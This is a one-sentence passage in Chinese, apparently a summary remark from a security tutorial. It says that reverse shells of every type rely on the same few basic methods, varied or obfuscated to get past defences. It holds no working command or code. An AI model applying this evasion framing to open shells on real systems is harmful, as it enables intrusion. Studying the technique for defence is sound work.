總體來說,無論什麼樣型別的反彈shell,其實本質上都是固定的那幾種方式,可能就是前面需要繞過或者是變形一下而已。